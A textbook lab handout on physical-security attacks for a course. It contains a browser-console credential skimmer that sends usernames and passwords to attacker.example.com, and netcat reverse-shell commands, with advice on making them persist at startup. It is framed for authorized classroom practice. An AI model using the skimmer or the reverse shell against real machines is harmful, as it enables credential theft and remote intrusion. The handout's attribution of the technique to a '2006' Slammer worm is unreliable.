

## Class activity

A hands-on exercise from the class-activities appendix. The full text also appears in Appendix A of the book.

---

Accompanies *Computer Security: The Foundations*, Krerk Piromsopa, Ph.D., 2026.  
<https://www.cp.eng.chula.ac.th/~krerk/books/ComputerSecurity/>

### Authorized use only

These exercises involve real attack techniques. Carry them out only against systems you own, or that you have written permission from the owner to test. Unauthorized access, scanning or interception is a criminal offence under Thailand's Computer Crime Act and its equivalents elsewhere, whether or not any damage results. If you are unsure whether a target is in scope, ask your instructor before you start.

## Activity 13: Physical Security

### Overview

*"Physical access can be really dangerous."*  
— Krerk Piromsopa, Ph.D.

In this activity you will learn how dangerous unattended physical access can be. Assume that your friend has left a computer unattended in a public library and you (playing the role of an attacker) have a few seconds of access. Two scenarios are explored: (1) injecting JavaScript into the browser to steal credentials, and (2) mimicking a reverse-shell attack used by real worms.

### Tools required:

- A web browser (any modern browser with a developer console)
- Netcat (nc) — see installation instructions below

### Scenario I: Script Injection via an Unattended Machine

Consider the following realistic situation. A user is logged into a single-sign-on portal and steps away from their laptop without locking the screen. An attacker passing by has unrestricted access to an already-authenticated browser session.

The attacker does not need to know the user's password. They open the browser's built-in developer console—accessible in any modern browser by pressing F12—and enter a short JavaScript snippet directly into the page. The script intercepts the next form submission event and silently transmits the entered credentials to an attacker-controlled server before the page's normal logic runs:

```
var q = document.querySelector.bind(document);
q('form').addEventListener('submit', function (e) {
  var u = q('[name=username]').value;
  var p = q('[name=password]').value;
  var url = 'http://attacker.example.com/log';
  fetch(url + '?u=' + u + '&p=' + p);
});
```

```
});
```

The victim sees nothing unusual; the session appears to complete normally. The attack takes under thirty seconds and requires no specialized skill beyond knowing how to open a browser console.

**Why is this effective?** Authentication and authorization were never compromised at the network level. The attacker simply exploited a momentary absence to inject code into a trusted, already-authenticated context. A sophisticated web application with multi-factor authentication and encrypted transport can be defeated by a brief moment of inattention.

This scenario is a form of *session hijacking* enabled by physical access. The injected script persists only for the lifetime of the browser tab. A more persistent attacker could install a browser extension or modify a bookmarked JavaScript payload to achieve longer-lasting effects.

## Scenario II: The Netcat Trapdoor

A second scenario exploits the window of physical access to install a persistent backdoor—sometimes called a *trapdoor*—that survives after the attacker leaves.

The tool used in this example is Netcat (`nc`), a lightweight, general-purpose network utility included in most Linux and macOS distributions. Although designed for legitimate network testing, it can be repurposed to create a command-line shell accessible over the network.

### Setting Up the Attack

On the attacker's own machine, they listen on a chosen port, waiting for an incoming connection:

```
$ nc -l -p 60000
```

Then, while the victim's machine is unattended and unlocked, the attacker opens a terminal on the victim's machine and runs:

```
$ nc.traditional -e /bin/bash 192.168.0.121 60000
```

This tells Netcat to connect to the attacker's machine at IP address `192.168.0.121` on port `60000` and hand over a `/bin/bash` shell—providing the attacker with a remote command line running as the victim's user account.

The moment the victim's machine connects, the attacker receives a fully interactive shell. Every command they type executes on the victim's machine. The victim sees nothing on their screen; the connection runs silently in the background.

### Why This Is a Trojan Horse

In the original Greek legend, a gift concealed a hidden threat. Here, the legitimate utility `nc` has been repurposed through a brief moment of physical access. The connection flows *from the victim to the attacker*: this is a deliberate design choice that bypasses firewalls on the victim's side, which typically block incoming connections but permit outgoing ones.

Furthermore, the command can be placed in a startup script so that the backdoor re-establishes itself every time the machine reboots—even after the attacker has left the premises. The technique requires no exploitation of any software vulnerability; the attacker exploited one thing only: the opportunity to type a single command on an unattended machine.

### Install Netcat:

- **macOS:** `brew install netcat`
- **Windows:** use Cygwin or a pre-built binary (<https://joncraton.org/blog/46/netcat-for-windows/>)
- **Debian/Ubuntu Linux:** `apt install netcat-traditional`

## Exercises

1. **JavaScript Injection.** Your friend has just logged out of ChulaSSO (<https://account.it.chula.ac.th/>) before leaving. You have two to three minutes to inject a script into the browser so that the next time your friend logs in (clicks the login button), their username and password pop up.
2. **Reverse Shell via Netcat.** This exercise mimics an attack technique used by several worms for installing a trojan horse. It is for demonstration purposes only — do not abuse it. (The attack technique is partly derived from the MS-SQL Slammer worm of 2006.)

Form a pair: one person is the *victim* and the other is the *attacker*. Connect both machines to the same network/Wi-Fi (a mobile hotspot works well; avoid using the campus network). You may need to disable your firewall temporarily.

**Attacker** — start netcat in listen mode:

```
nc -p 60000 -l
```

**Attacker (on victim's machine)** — once you have physical access, send a reverse shell:

```
nc -e /bin/bash [IP_of_attacker] 60000  
# On Windows: nc -e cmd.exe [IP_of_attacker] 60000
```

You may choose any port number you wish.

3. Write an essay summarizing what you have learned in this activity. In particular, explain the worst-case scenario that could occur. As a user, how would you protect yourself from such attacks?